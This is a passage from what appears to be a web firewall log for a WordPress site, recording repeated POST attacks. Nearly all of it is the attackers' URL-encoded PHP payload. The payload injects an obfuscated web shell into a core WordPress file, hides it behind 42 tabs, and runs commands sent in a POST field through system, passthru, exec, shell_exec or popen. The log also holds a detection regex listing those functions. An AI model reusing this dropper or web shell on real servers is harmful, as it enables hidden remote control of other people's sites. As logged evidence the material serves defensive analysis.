1%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:50:58","62.210.185.4","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpHZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzSwL2IjqPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7177\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nqC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 22:50:59","78.142.18.172","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> nb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c%2527.%2524element2.%2524element12.%2524element2.%2524element5.%25276%2527.%2527b%2527%2529%253Bif%2528isset%2528%2524_POST%255B%2524mutex_lock%255D%2529%2529%257B%2524mutex_lock%253Dpack%2528%2522H%252A%2522%252C%2524_POST%255B%2524mutex_lock%255D%2529%253Bif%2528function_exists%2528%2524sync_manager1%2529%2529%257B%2524sync_manager1%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager2%2529%2529%257Bprint%2520%2524sync_manager2%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager3%2529%2529%257B%2524sync_manager3%2528%2524mutex_lock%252C%2524resource_component%2529%253Bprint%2520join%2528%2522%255Cn%2522%252C%2524resource_component%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager4%2529%2529%257B%2524sync_manager4%2528%2524mutex_lock%2529%253B%257Delseif%2528function_exists%2528%2524sync_manager5%2529%2526%2526function_exists%2528%2524sync_manager6%2529%2526%2526function_exists%2528%2524sync_manager7%2529%2529%257B%2524descriptor_tkn%253D%2524sync_manager5%2528%2524mutex_lock%252C%2522r%2522%2529%253Bif%2528%2524descriptor_tkn%2529%257B%2524parameter_group_fac%253D%2524sync_manager6%2528%2524descriptor_tkn%2529%253B%2524sync_manager7%2528%2524descriptor_tkn%2529%253Bprint%2520%2524parameter_group_fac%253B%257D%257Dexit%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-fetch-site:none\nsec-ch-ua-platform:\"Android\"\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvozVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\ncontent-length:7177\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\n\nnb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/rest-api\/endpoints\/class-wp-rest-comments-controller.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524element1%2520%253D%2520%25277%2527%253B%2524element2%2520%253D%2520%25276%2527%253B%2524element3%2520%253D%2520%25275%2527%253B%2524element4%2520%253D%2520%2527d%2527%253B%2524element5%2520%253D%2520%25273%2527%253B%2524element6%2520%253D%2520%25278%2527%253B%2524element7%2520%253D%2520%2527c%2527%253B%2524element8%2520%253D%2520%25270%2527%253B%2524element9%2520%253D%2520%2527e%2527%253B%2524element10%2520%253D%2520%25274%2527%253B%2524element11%2520%253D%2520%25271%2527%253B%2524element12%2520%253D%2520%2527f%2527%253B%2524sync_manager1%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%2524element1.%25279%2527.%2524element1.%25273%2527.%25277%2527.%25274%2527.%2524element2.%2524element3.%25276%2527.%2524element4%2529%253B%2524sync_manager2%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element5.%25276%2527.%2524element6.%2524element2.%2524element3.%2524element2.%2524element7.%2524element2.%2524element7.%2524element3.%2527f%2527.%25276%2527.%2524element3.%25277%2527.%25278%2527.%25276%2527.%25275%2527.%2524element2.%25273%2527%2529%253B%2524sync_manager3%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%25275%2527.%2524element1.%2524element6.%2524element2.%2524element3.%2524element2.%2524element5%2529%253B%2524sync_manager4%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25270%2527.%25276%2527.%25271%2527.%25277%2527.%2524element5.%25277%2527.%2524element5.%25277%2527.%25274%2527.%2524element2.%25278%2527.%2524element1.%25272%2527.%25277%2527.%25275%2527%2529%253B%2524sync_manager5%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%2524element8.%2524element2.%2527f%2527.%25277%2527.%25270%2527.%25276%2527.%2524element3.%25276%2527.%2524element9%2529%253B%2524sync_manager6%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element1.%25273%2527.%25277%2527.%2524element10.%25277%2527.%25272%2527.%2524element2.%25275%2527.%25276%2527.%2524element11.%2524element2.%2524element4.%25275%2527.%2524element12.%2524element2.%25277%2527.%25276%2527.%2524element3.%25277%2527.%25274%2527.%2524element3.%2527f%2527.%25276%2527.%25273%2527.%2524element2.%2527f%2527.%2524element2.%2527e%2527.%2524element1.%2524element10.%25276%2527.%2524element3.%25276%2527.%2524element9.%2524element1.%2524element10.%2524element1.%25273%2527%2529%253B%2524sync_manager7%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%25277%2527.%25270%2527.%25276%2527.%2524element5.%25276%2527.%2524element7.%25276%2527.%2527f%2527.%25277%2527.%2524element5.%2524element2.%2524element3%2529%253B%2524mutex_lock%2520%253D%2520pack%2528%2522H%252A%2522%252C%2520%2524element2.%2527d%2527.%25277%2527.%25275%2527.%25277%2527.%25274%2527.%25276%2527.%25275%2527.%2524element1.%2524element6.%2524element3.%2524element12.%2524element2.%2527c